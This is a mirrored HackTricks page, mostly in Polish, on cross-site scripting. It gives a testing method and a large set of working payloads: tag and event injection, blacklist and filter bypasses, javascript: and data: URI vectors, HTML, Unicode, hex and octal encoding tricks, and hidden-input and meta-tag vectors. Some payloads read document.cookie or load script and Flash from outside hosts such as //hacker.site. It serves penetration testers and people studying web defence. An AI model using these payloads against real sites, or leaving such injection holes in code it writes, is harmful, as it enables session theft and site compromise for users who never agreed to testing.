mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-12 21:28:55 +00:00
1469 lines
75 KiB
Markdown
1469 lines
75 KiB
Markdown
|
# XSS (Cross Site Scripting)
|
|||
|
|
|||
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|||
|
|
|||
|
Jeśli jesteś zainteresowany **karierą w hackingu** i chcesz zhakować to, co nie do zhakowania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
|||
|
|
|||
|
{% embed url="https://www.stmcyber.com/careers" %}
|
|||
|
|
|||
|
## Metodologia
|
|||
|
|
|||
|
1. Sprawdź, czy **jakakolwiek wartość, którą kontrolujesz** (_parametry_, _ścieżka_, _nagłówki_?, _ciasteczka_?) jest **odzwierciedlana** w HTML lub **używana** przez kod **JS**.
|
|||
|
2. **Znajdź kontekst**, w którym jest odzwierciedlana/używana.
|
|||
|
3. Jeśli **odzwierciedlona**
|
|||
|
1. Sprawdź **jakie symbole możesz użyć** i w zależności od tego, przygotuj ładunek:
|
|||
|
1. W **surowym HTML**:
|
|||
|
1. Czy możesz tworzyć nowe tagi HTML?
|
|||
|
2. Czy możesz używać zdarzeń lub atrybutów wspierających protokół `javascript:`?
|
|||
|
3. Czy możesz obejść zabezpieczenia?
|
|||
|
4. Czy zawartość HTML jest interpretowana przez jakikolwiek silnik JS po stronie klienta (_AngularJS_, _VueJS_, _Mavo_...), możesz wykorzystać [**Client Side Template Injection**](../client-side-template-injection-csti.md).
|
|||
|
5. Jeśli nie możesz tworzyć tagów HTML, które wykonują kod JS, czy możesz wykorzystać [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)?
|
|||
|
2. Wewnątrz **tagu HTML**:
|
|||
|
1. Czy możesz wyjść do surowego kontekstu HTML?
|
|||
|
2. Czy możesz tworzyć nowe zdarzenia/atrybuty, aby wykonać kod JS?
|
|||
|
3. Czy atrybut, w którym jesteś uwięziony, wspiera wykonanie JS?
|
|||
|
4. Czy możesz obejść zabezpieczenia?
|
|||
|
3. Wewnątrz **kodu JavaScript**:
|
|||
|
1. Czy możesz uciec z tagu `<script>`?
|
|||
|
2. Czy możesz uciec z ciągu i wykonać inny kod JS?
|
|||
|
3. Czy twoje dane wejściowe są w szablonowych literałach \`\`?
|
|||
|
4. Czy możesz obejść zabezpieczenia?
|
|||
|
4. Funkcja Javascript **wykonywana**
|
|||
|
1. Możesz wskazać nazwę funkcji do wykonania. np.: `?callback=alert(1)`
|
|||
|
4. Jeśli **używana**:
|
|||
|
1. Możesz wykorzystać **DOM XSS**, zwróć uwagę, jak twoje dane wejściowe są kontrolowane i czy twoje **kontrolowane dane wejściowe są używane przez jakikolwiek sink.**
|
|||
|
|
|||
|
Pracując nad złożonym XSS, możesz uznać za interesujące poznanie:
|
|||
|
|
|||
|
{% content-ref url="debugging-client-side-js.md" %}
|
|||
|
[debugging-client-side-js.md](debugging-client-side-js.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
## Odzwierciedlone wartości
|
|||
|
|
|||
|
Aby skutecznie wykorzystać XSS, pierwszą rzeczą, którą musisz znaleźć, jest **wartość kontrolowana przez ciebie, która jest odzwierciedlana** na stronie internetowej.
|
|||
|
|
|||
|
* **Pośrednio odzwierciedlona**: Jeśli odkryjesz, że wartość parametru lub nawet ścieżka jest odzwierciedlana na stronie internetowej, możesz wykorzystać **Reflected XSS**.
|
|||
|
* **Przechowywana i odzwierciedlona**: Jeśli odkryjesz, że wartość kontrolowana przez ciebie jest zapisywana na serwerze i jest odzwierciedlana za każdym razem, gdy uzyskujesz dostęp do strony, możesz wykorzystać **Stored XSS**.
|
|||
|
* **Dostępna przez JS**: Jeśli odkryjesz, że wartość kontrolowana przez ciebie jest dostępna za pomocą JS, możesz wykorzystać **DOM XSS**.
|
|||
|
|
|||
|
## Konteksty
|
|||
|
|
|||
|
Próbując wykorzystać XSS, pierwszą rzeczą, którą musisz wiedzieć, jest **gdzie twoje dane wejściowe są odzwierciedlane**. W zależności od kontekstu, będziesz mógł wykonać dowolny kod JS na różne sposoby.
|
|||
|
|
|||
|
### Surowy HTML
|
|||
|
|
|||
|
Jeśli twoje dane wejściowe są **odzwierciedlane na surowej stronie HTML**, będziesz musiał wykorzystać jakiś **tag HTML**, aby wykonać kod JS: `<img , <iframe , <svg , <script` ... to tylko niektóre z wielu możliwych tagów HTML, które możesz użyć.\
|
|||
|
Również pamiętaj o [Client Side Template Injection](../client-side-template-injection-csti.md).
|
|||
|
|
|||
|
### Wewnątrz atrybutu tagu HTML
|
|||
|
|
|||
|
Jeśli twoje dane wejściowe są odzwierciedlane wewnątrz wartości atrybutu tagu, możesz spróbować:
|
|||
|
|
|||
|
1. **Uciec z atrybutu i z tagu** (wtedy będziesz w surowym HTML) i stworzyć nowy tag HTML do wykorzystania: `"><img [...]`
|
|||
|
2. Jeśli **możesz uciec z atrybutu, ale nie z tagu** (`>` jest zakodowane lub usunięte), w zależności od tagu możesz **stworzyć zdarzenie**, które wykonuje kod JS: `" autofocus onfocus=alert(1) x="`
|
|||
|
3. Jeśli **nie możesz uciec z atrybutu** (`"` jest zakodowane lub usunięte), w zależności od **którego atrybutu** twoja wartość jest odzwierciedlana **jeśli kontrolujesz całą wartość lub tylko część**, będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, że wykona dowolny kod po kliknięciu. Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:`, aby wykonać dowolny kod: **`href="javascript:alert(1)"`**
|
|||
|
4. Jeśli twoje dane wejściowe są odzwierciedlane wewnątrz "**nieeksploatowalnych tagów**", możesz spróbować sztuczki z **`accesskey`**, aby wykorzystać lukę (będziesz potrzebować jakiegoś rodzaju inżynierii społecznej, aby to wykorzystać): **`" accesskey="x" onclick="alert(1)" x="`**
|
|||
|
|
|||
|
Dziwny przykład Angular wykonujący XSS, jeśli kontrolujesz nazwę klasy:
|
|||
|
```html
|
|||
|
<div ng-app>
|
|||
|
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
|||
|
</div>
|
|||
|
```
|
|||
|
### Inside JavaScript code
|
|||
|
|
|||
|
W tym przypadku twój input jest odzwierciedlany pomiędzy **`<script> [...] </script>`** tagami strony HTML, w pliku `.js` lub wewnątrz atrybutu używając protokołu **`javascript:`**:
|
|||
|
|
|||
|
* Jeśli jest odzwierciedlany pomiędzy **`<script> [...] </script>`** tagami, nawet jeśli twój input jest w jakichkolwiek cudzysłowach, możesz spróbować wstrzyknąć `</script>` i wydostać się z tego kontekstu. Działa to, ponieważ **przeglądarka najpierw analizuje tagi HTML** a potem zawartość, dlatego nie zauważy, że twój wstrzyknięty tag `</script>` jest wewnątrz kodu HTML.
|
|||
|
* Jeśli jest odzwierciedlany **wewnątrz stringu JS** i ostatni trik nie działa, musisz **wyjść** ze stringu, **wykonać** swój kod i **odtworzyć** kod JS (jeśli wystąpi błąd, nie zostanie wykonany):
|
|||
|
* `'-alert(1)-'`
|
|||
|
* `';-alert(1)//`
|
|||
|
* `\';alert(1)//`
|
|||
|
* Jeśli jest odzwierciedlany wewnątrz szablonowych literałów, możesz **osadzić wyrażenia JS** używając składni `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
|
|||
|
* **Kodowanie Unicode** działa, aby napisać **ważny kod javascript**:
|
|||
|
```javascript
|
|||
|
\u{61}lert(1)
|
|||
|
\u0061lert(1)
|
|||
|
\u{0061}lert(1)
|
|||
|
```
|
|||
|
#### Javascript Hoisting
|
|||
|
|
|||
|
Javascript Hoisting odnosi się do możliwości **deklarowania funkcji, zmiennych lub klas po ich użyciu, aby można było wykorzystać scenariusze, w których XSS używa niezadeklarowanych zmiennych lub funkcji.**\
|
|||
|
**Sprawdź następującą stronę po więcej informacji:**
|
|||
|
|
|||
|
{% content-ref url="js-hoisting.md" %}
|
|||
|
[js-hoisting.md](js-hoisting.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
### Javascript Function
|
|||
|
|
|||
|
Kilka stron internetowych ma punkty końcowe, które **akceptują jako parametr nazwę funkcji do wykonania**. Powszechnym przykładem, który można zobaczyć w praktyce, jest coś takiego: `?callback=callbackFunc`.
|
|||
|
|
|||
|
Dobrym sposobem, aby dowiedzieć się, czy coś podane bezpośrednio przez użytkownika próbuje być wykonane, jest **zmodyfikowanie wartości parametru** (na przykład na 'Vulnerable') i sprawdzenie w konsoli błędów, takich jak:
|
|||
|
|
|||
|
![](<../../.gitbook/assets/image (711).png>)
|
|||
|
|
|||
|
W przypadku, gdy jest podatne, możesz być w stanie **wywołać alert**, wysyłając wartość: **`?callback=alert(1)`**. Jednak bardzo często te punkty końcowe **walidują zawartość**, aby zezwolić tylko na litery, cyfry, kropki i podkreślniki (**`[\w\._]`**).
|
|||
|
|
|||
|
Jednak nawet z tym ograniczeniem nadal możliwe jest wykonanie niektórych działań. Dzieje się tak, ponieważ możesz użyć tych ważnych znaków, aby **uzyskać dostęp do dowolnego elementu w DOM**:
|
|||
|
|
|||
|
![](<../../.gitbook/assets/image (747).png>)
|
|||
|
|
|||
|
Niektóre przydatne funkcje do tego:
|
|||
|
```
|
|||
|
firstElementChild
|
|||
|
lastElementChild
|
|||
|
nextElementSibiling
|
|||
|
lastElementSibiling
|
|||
|
parentElement
|
|||
|
```
|
|||
|
Możesz także spróbować **wywołać funkcje Javascript** bezpośrednio: `obj.sales.delOrders`.
|
|||
|
|
|||
|
Jednak zazwyczaj punkty końcowe wykonujące wskazaną funkcję to punkty końcowe bez zbyt interesującego DOM, **inne strony w tym samym pochodzeniu** będą miały **bardziej interesujący DOM**, aby wykonać więcej akcji.
|
|||
|
|
|||
|
Dlatego, aby **nadużyć tej luki w innym DOM**, opracowano **Same Origin Method Execution (SOME)**:
|
|||
|
|
|||
|
{% content-ref url="some-same-origin-method-execution.md" %}
|
|||
|
[some-same-origin-method-execution.md](some-same-origin-method-execution.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
### DOM
|
|||
|
|
|||
|
Istnieje **kod JS**, który **niebezpiecznie** używa **danych kontrolowanych przez atakującego**, takich jak `location.href`. Atakujący mógłby to wykorzystać do wykonania dowolnego kodu JS.
|
|||
|
|
|||
|
{% content-ref url="dom-xss.md" %}
|
|||
|
[dom-xss.md](dom-xss.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
### **Uniwersalne XSS**
|
|||
|
|
|||
|
Tego rodzaju XSS można znaleźć **wszędzie**. Nie zależą one tylko od wykorzystania klienta aplikacji webowej, ale od **jakiegokolwiek** **kontekstu**. Tego rodzaju **dowolne wykonanie JavaScript** można nawet wykorzystać do uzyskania **RCE**, **odczytu** **dowolnych** **plików** na klientach i serwerach, i więcej.\
|
|||
|
Niektóre **przykłady**:
|
|||
|
|
|||
|
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
|||
|
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
{% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %}
|
|||
|
[electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
## WAF bypass encoding image
|
|||
|
|
|||
|
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../.gitbook/assets/EauBb2EX0AERaNK (1).jpg>)
|
|||
|
|
|||
|
## Wstrzykiwanie wewnątrz surowego HTML
|
|||
|
|
|||
|
Kiedy twój input jest odzwierciedlany **wewnątrz strony HTML** lub możesz uciec i wstrzyknąć kod HTML w tym kontekście, **pierwszą** rzeczą, którą musisz zrobić, jest sprawdzenie, czy możesz nadużyć `<`, aby stworzyć nowe tagi: Po prostu spróbuj **odzwierciedlić** ten **znak** i sprawdź, czy jest **kodowany w HTML** lub **usunięty**, czy jest **odzwierciedlany bez zmian**. **Tylko w ostatnim przypadku będziesz mógł wykorzystać ten przypadek**.\
|
|||
|
W tych przypadkach również **pamiętaj o** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
|||
|
&#xNAN;_**Uwaga: Komentarz HTML można zamknąć używając\*\*\*\***** ****`-->`**** ****lub \*\*\*\*****`--!>`**_
|
|||
|
|
|||
|
W tym przypadku, jeśli nie używa się czarnej/białej listy, możesz użyć ładunków takich jak:
|
|||
|
```html
|
|||
|
<script>alert(1)</script>
|
|||
|
<img src=x onerror=alert(1) />
|
|||
|
<svg onload=alert('XSS')>
|
|||
|
```
|
|||
|
Ale jeśli używane jest czarne/białe listowanie tagów/atrybutów, będziesz musiał **brute-forcować, które tagi** możesz stworzyć.\
|
|||
|
Gdy już **znajdziesz, które tagi są dozwolone**, będziesz musiał **brute-forcować atrybuty/wydarzenia** wewnątrz znalezionych prawidłowych tagów, aby zobaczyć, jak możesz zaatakować kontekst.
|
|||
|
|
|||
|
### Brute-force tagów/wydarzeń
|
|||
|
|
|||
|
Przejdź do [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknij na _**Kopiuj tagi do schowka**_. Następnie wyślij je wszystkie za pomocą Burp intruder i sprawdź, czy jakieś tagi nie zostały odkryte jako złośliwe przez WAF. Gdy odkryjesz, które tagi możesz użyć, możesz **brute-forcować wszystkie wydarzenia** używając prawidłowych tagów (na tej samej stronie kliknij na _**Kopiuj wydarzenia do schowka**_ i postępuj zgodnie z tą samą procedurą co wcześniej).
|
|||
|
|
|||
|
### Niestandardowe tagi
|
|||
|
|
|||
|
Jeśli nie znalazłeś żadnego prawidłowego tagu HTML, możesz spróbować **stworzyć niestandardowy tag** i wykonać kod JS z atrybutem `onfocus`. W żądaniu XSS musisz zakończyć URL znakiem `#`, aby strona **skupiła się na tym obiekcie** i **wykonała** kod:
|
|||
|
```
|
|||
|
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
|||
|
```
|
|||
|
### Blacklist Bypasses
|
|||
|
|
|||
|
Jeśli używana jest jakaś forma czarnej listy, możesz spróbować ją obejść za pomocą kilku głupich sztuczek:
|
|||
|
```javascript
|
|||
|
//Random capitalization
|
|||
|
<script> --> <ScrIpT>
|
|||
|
<img --> <ImG
|
|||
|
|
|||
|
//Double tag, in case just the first match is removed
|
|||
|
<script><script>
|
|||
|
<scr<script>ipt>
|
|||
|
<SCRscriptIPT>alert(1)</SCRscriptIPT>
|
|||
|
|
|||
|
//You can substitude the space to separate attributes for:
|
|||
|
/
|
|||
|
/*%00/
|
|||
|
/%00*/
|
|||
|
%2F
|
|||
|
%0D
|
|||
|
%0C
|
|||
|
%0A
|
|||
|
%09
|
|||
|
|
|||
|
//Unexpected parent tags
|
|||
|
<svg><x><script>alert('1')</x>
|
|||
|
|
|||
|
//Unexpected weird attributes
|
|||
|
<script x>
|
|||
|
<script a="1234">
|
|||
|
<script ~~~>
|
|||
|
<script/random>alert(1)</script>
|
|||
|
<script ///Note the newline
|
|||
|
>alert(1)</script>
|
|||
|
<scr\x00ipt>alert(1)</scr\x00ipt>
|
|||
|
|
|||
|
//Not closing tag, ending with " <" or " //"
|
|||
|
<iframe SRC="javascript:alert('XSS');" <
|
|||
|
<iframe SRC="javascript:alert('XSS');" //
|
|||
|
|
|||
|
//Extra open
|
|||
|
<<script>alert("XSS");//<</script>
|
|||
|
|
|||
|
//Just weird an unexpected, use your imagination
|
|||
|
<</script/script><script>
|
|||
|
<input type=image src onerror="prompt(1)">
|
|||
|
|
|||
|
//Using `` instead of parenthesis
|
|||
|
onerror=alert`1`
|
|||
|
|
|||
|
//Use more than one
|
|||
|
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
|
|||
|
```
|
|||
|
### Length bypass (small XSSs)
|
|||
|
|
|||
|
{% hint style="info" %}
|
|||
|
**Więcej małych XSS dla różnych środowisk** payload [**można znaleźć tutaj**](https://github.com/terjanq/Tiny-XSS-Payloads) i [**tutaj**](https://tinyxss.terjanq.me).
|
|||
|
{% endhint %}
|
|||
|
```html
|
|||
|
<!-- Taken from the blog of Jorge Lajara -->
|
|||
|
<svg/onload=alert``>
|
|||
|
<script src=//aa.es>
|
|||
|
<script src=//℡㏛.pw>
|
|||
|
```
|
|||
|
The last one is using 2 unicode characters which expands to 5: telsr\
|
|||
|
Więcej tych znaków można znaleźć [tutaj](https://www.unicode.org/charts/normalization/).\
|
|||
|
Aby sprawdzić, w które znaki są rozkładane, sprawdź [tutaj](https://www.compart.com/en/unicode/U+2121).
|
|||
|
|
|||
|
### Click XSS - Clickjacking
|
|||
|
|
|||
|
Jeśli w celu wykorzystania luki musisz, aby **użytkownik kliknął link lub formularz** z wstępnie wypełnionymi danymi, możesz spróbować [**nadużyć Clickjacking**](../clickjacking.md#xss-clickjacking) (jeśli strona jest podatna).
|
|||
|
|
|||
|
### Impossible - Dangling Markup
|
|||
|
|
|||
|
Jeśli myślisz, że **niemożliwe jest stworzenie tagu HTML z atrybutem do wykonania kodu JS**, powinieneś sprawdzić [**Dangling Markup**](../dangling-markup-html-scriptless-injection/), ponieważ możesz **wykorzystać** lukę **bez** wykonywania **kod JS**.
|
|||
|
|
|||
|
## Injecting inside HTML tag
|
|||
|
|
|||
|
### Inside the tag/escaping from attribute value
|
|||
|
|
|||
|
Jeśli jesteś **wewnątrz tagu HTML**, pierwszą rzeczą, którą możesz spróbować, jest **ucieczka** z tagu i użycie niektórych technik wspomnianych w [poprzedniej sekcji](./#injecting-inside-raw-html) do wykonania kodu JS.\
|
|||
|
Jeśli **nie możesz uciec z tagu**, możesz stworzyć nowe atrybuty wewnątrz tagu, aby spróbować wykonać kod JS, na przykład używając ładunku jak (_zauważ, że w tym przykładzie podwójne cudzysłowy są używane do ucieczki z atrybutu, nie będziesz ich potrzebować, jeśli twój input jest odzwierciedlany bezpośrednio wewnątrz tagu_):
|
|||
|
```bash
|
|||
|
" autofocus onfocus=alert(document.domain) x="
|
|||
|
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
|||
|
```
|
|||
|
**Zdarzenia stylów**
|
|||
|
```python
|
|||
|
<p style="animation: x;" onanimationstart="alert()">XSS</p>
|
|||
|
<p style="animation: x;" onanimationend="alert()">XSS</p>
|
|||
|
|
|||
|
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
|
|||
|
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
|
|||
|
#moving your mouse anywhere over the page (0-click-ish):
|
|||
|
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
|
|||
|
```
|
|||
|
### W obrębie atrybutu
|
|||
|
|
|||
|
Nawet jeśli **nie możesz uciec z atrybutu** (`"` jest kodowane lub usuwane), w zależności od **tego, który atrybut** odzwierciedla twoją wartość **jeśli kontrolujesz całą wartość lub tylko część** będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, że wykona ono dowolny kod po kliknięciu.\
|
|||
|
Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:`, aby wykonać dowolny kod: **`href="javascript:alert(1)"`**
|
|||
|
|
|||
|
**Obejście wewnątrz zdarzenia za pomocą kodowania HTML/kodowania URL**
|
|||
|
|
|||
|
**Zakodowane znaki HTML** wewnątrz wartości atrybutów tagów HTML są **dekodowane w czasie wykonywania**. Dlatego coś takiego jak poniższe będzie ważne (ładunek jest pogrubiony): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Wróć </a>`
|
|||
|
|
|||
|
Zauważ, że **jakiekolwiek kodowanie HTML jest ważne**:
|
|||
|
```javascript
|
|||
|
//HTML entities
|
|||
|
'-alert(1)-'
|
|||
|
//HTML hex without zeros
|
|||
|
'-alert(1)-'
|
|||
|
//HTML hex with zeros
|
|||
|
'-alert(1)-'
|
|||
|
//HTML dec without zeros
|
|||
|
'-alert(1)-'
|
|||
|
//HTML dec with zeros
|
|||
|
'-alert(1)-'
|
|||
|
|
|||
|
<a href="javascript:var a=''-alert(1)-''">a</a>
|
|||
|
<a href="javascript:alert(2)">a</a>
|
|||
|
<a href="javascript:alert(3)">a</a>
|
|||
|
```
|
|||
|
**Zauważ, że kodowanie URL również zadziała:**
|
|||
|
```python
|
|||
|
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
|||
|
```
|
|||
|
**Ominięcie wewnętrznego zdarzenia za pomocą kodowania Unicode**
|
|||
|
```javascript
|
|||
|
//For some reason you can use unicode to encode "alert" but not "(1)"
|
|||
|
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
|||
|
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
|
|||
|
```
|
|||
|
### Specjalne protokoły w atrybucie
|
|||
|
|
|||
|
Możesz używać protokołów **`javascript:`** lub **`data:`** w niektórych miejscach, aby **wykonać dowolny kod JS**. Niektóre będą wymagały interakcji użytkownika, a inne nie.
|
|||
|
```javascript
|
|||
|
javascript:alert(1)
|
|||
|
JavaSCript:alert(1)
|
|||
|
javascript:%61%6c%65%72%74%28%31%29 //URL encode
|
|||
|
javascript:alert(1)
|
|||
|
javascript:alert(1)
|
|||
|
javascript:alert(1)
|
|||
|
javascriptΪlert(1)
|
|||
|
java //Note the new line
|
|||
|
script:alert(1)
|
|||
|
|
|||
|
data:text/html,<script>alert(1)</script>
|
|||
|
DaTa:text/html,<script>alert(1)</script>
|
|||
|
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
|
|||
|
data:text/html;charset=UTF-8,<script>alert(1)</script>
|
|||
|
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
|
|||
|
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
|
|||
|
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
|
|||
|
```
|
|||
|
**Miejsca, w których możesz wstrzyknąć te protokoły**
|
|||
|
|
|||
|
**Ogólnie** protokół `javascript:` może być **używany w każdym tagu, który akceptuje atrybut `href`** oraz w **większości** tagów, które akceptują **atrybut `src`** (ale nie `<img`)
|
|||
|
```markup
|
|||
|
<a href="javascript:alert(1)">
|
|||
|
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
|||
|
<form action="javascript:alert(1)"><button>send</button></form>
|
|||
|
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
|
|||
|
<object data=javascript:alert(3)>
|
|||
|
<iframe src=javascript:alert(2)>
|
|||
|
<embed src=javascript:alert(1)>
|
|||
|
|
|||
|
<object data="data:text/html,<script>alert(5)</script>">
|
|||
|
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
|
|||
|
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
|
|||
|
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
|
|||
|
|
|||
|
//Special cases
|
|||
|
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
|
|||
|
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
|
|||
|
<iframe srcdoc="<svg onload=alert(4);>">
|
|||
|
```
|
|||
|
**Inne sztuczki obfuskacji**
|
|||
|
|
|||
|
_**W tym przypadku technika kodowania HTML i kodowania Unicode z poprzedniej sekcji jest również ważna, ponieważ znajdujesz się wewnątrz atrybutu.**_
|
|||
|
```javascript
|
|||
|
<a href="javascript:var a=''-alert(1)-''">
|
|||
|
```
|
|||
|
Ponadto, istnieje inny **fajny trik** w takich przypadkach: **Nawet jeśli twój input wewnątrz `javascript:...` jest kodowany w URL, zostanie on zdekodowany przed wykonaniem.** Więc, jeśli musisz **uciec** z **ciągu** używając **pojedynczego cudzysłowu** i widzisz, że **jest kodowany w URL**, pamiętaj, że **to nie ma znaczenia,** zostanie **zinterpretowane** jako **pojedynczy cudzysłów** w czasie **wykonania**.
|
|||
|
```javascript
|
|||
|
'-alert(1)-'
|
|||
|
%27-alert(1)-%27
|
|||
|
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
|||
|
```
|
|||
|
Zauważ, że jeśli spróbujesz **użyć obu** `URLencode + HTMLencode` w dowolnej kolejności, aby zakodować **ładunek**, to **nie zadziała**, ale możesz **zmieszać je wewnątrz ładunku**.
|
|||
|
|
|||
|
**Używanie kodowania Hex i Octal z `javascript:`**
|
|||
|
|
|||
|
Możesz użyć **Hex** i **Octal encode** wewnątrz atrybutu `src` `iframe` (przynajmniej), aby zadeklarować **tagi HTML do wykonania JS**:
|
|||
|
```javascript
|
|||
|
//Encoded: <svg onload=alert(1)>
|
|||
|
// This WORKS
|
|||
|
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
|
|||
|
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
|
|||
|
|
|||
|
//Encoded: alert(1)
|
|||
|
// This doesn't work
|
|||
|
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
|
|||
|
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
|||
|
```
|
|||
|
### Odwrócone nabbing kart
|
|||
|
```javascript
|
|||
|
<a target="_blank" rel="opener"
|
|||
|
```
|
|||
|
Jeśli możesz wstrzyknąć dowolny URL w dowolny **`<a href=`** tag, który zawiera atrybuty **`target="_blank" i rel="opener"`**, sprawdź **następującą stronę, aby wykorzystać to zachowanie**:
|
|||
|
|
|||
|
{% content-ref url="../reverse-tab-nabbing.md" %}
|
|||
|
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
### omijanie obsługi zdarzeń
|
|||
|
|
|||
|
Przede wszystkim sprawdź tę stronę ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) w poszukiwaniu przydatnych **"on" obsług zdarzeń**.\
|
|||
|
W przypadku, gdy istnieje jakaś czarna lista uniemożliwiająca ci tworzenie tych obsług zdarzeń, możesz spróbować następujących omijających:
|
|||
|
```javascript
|
|||
|
<svg onload%09=alert(1)> //No safari
|
|||
|
<svg %09onload=alert(1)>
|
|||
|
<svg %09onload%20=alert(1)>
|
|||
|
<svg onload%09%20%28%2c%3b=alert(1)>
|
|||
|
|
|||
|
//chars allowed between the onevent and the "="
|
|||
|
IExplorer: %09 %0B %0C %020 %3B
|
|||
|
Chrome: %09 %20 %28 %2C %3B
|
|||
|
Safari: %2C %3B
|
|||
|
Firefox: %09 %20 %28 %2C %3B
|
|||
|
Opera: %09 %20 %2C %3B
|
|||
|
Android: %09 %20 %28 %2C %3B
|
|||
|
```
|
|||
|
### XSS w "nieeksploatowalnych tagach" (ukryte wejście, link, kanoniczny, meta)
|
|||
|
|
|||
|
Z [**tutaj**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **teraz możliwe jest nadużywanie ukrytych wejść z:**
|
|||
|
```html
|
|||
|
<button popvertarget="x">Click me</button>
|
|||
|
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
|||
|
```
|
|||
|
I w **meta tagach**:
|
|||
|
```html
|
|||
|
<!-- Injection inside meta attribute-->
|
|||
|
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
|
|||
|
<!-- Existing target-->
|
|||
|
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
|||
|
<div popover id="newsletter">Newsletter popup</div>
|
|||
|
```
|
|||
|
